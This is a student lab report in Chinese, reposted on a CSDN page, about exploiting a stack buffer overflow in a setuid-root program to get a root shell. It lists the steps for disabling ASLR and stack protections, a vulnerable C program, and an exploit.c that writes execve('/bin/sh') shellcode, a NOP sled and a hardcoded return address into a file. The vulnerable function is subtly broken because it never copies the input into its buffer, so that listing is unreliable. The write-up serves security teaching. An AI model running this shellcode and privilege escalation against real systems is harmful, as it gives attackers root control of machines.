20155332 缓冲区溢出漏洞实验

20155332 缓冲区溢出漏洞实验

  • 更新之后进行随机化初始地址分配
    5420371507710927727-wm

  • 禁止不能在这个shell中保持root权限,也就是调用shell是能够同时保存root权限。
  • 为了重现这一防护措施被实现之前的情形,我们使用另一个shell程序(zsh)代替 /bin/bash
  • 5420371507711187046-wm
  • 进入tmp目录下运行文件
    5420371507711882060-wm
  • GCC编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用

    –fno-stack-protector 关闭这种机制。
    -z execstack 用于允许执行栈
    chmod u+s stack 需要root模式下进行
    -我的代码

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
char buffer[12];
return 1;
}

int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[]=

"\x31\xc0"    //xorl %eax,%eax
"\x50"        //pushl %eax
"\x68""//sh"  //pushl $0x68732f2f
"\x68""/bin"  //pushl $0x6e69622f
"\x89\xe3"    //movl %esp,%ebx
"\x50"        //pushl %eax
"\x53"        //pushl %ebx
"\x89\xe1"    //movl %esp,%ecx
"\x99"        //cdq
"\xb0\x0b"    //movb $0x0b,%al
"\xcd\x80"    //int $0x80
;

void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;


memset(&buffer, 0x90, 517);


strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x94\xd0\xff\xff");
strcpy(buffer+100,shellcode);

badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
  • 进入gdb调试模式,查找首地址
    -5420371507712766465-wm
  • 取得shellcode在内存中的地址0xffffd0305420371507712954753-wm
  • 算出地址0xffffd094
  • 键入exploit.c文件中
  • 5420371507713177690-wm
  • 运行成功,获得root权限
  • 5420371507717463194-wm

练习题

  • sudo sysctl -w kernel.randomize_va_space=2 后初始化的首地址发生变化变为这个了0xfff824d0,这攻击进入的地址为0xfff82534,如果不进行地址更改而直接攻击的的话必定是失败的
    5420371507718068934-wm
    -出现了段错误
    还没有找到解决方法。

转载于:https://www.cnblogs.com/besti2015/p/7749937.html

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值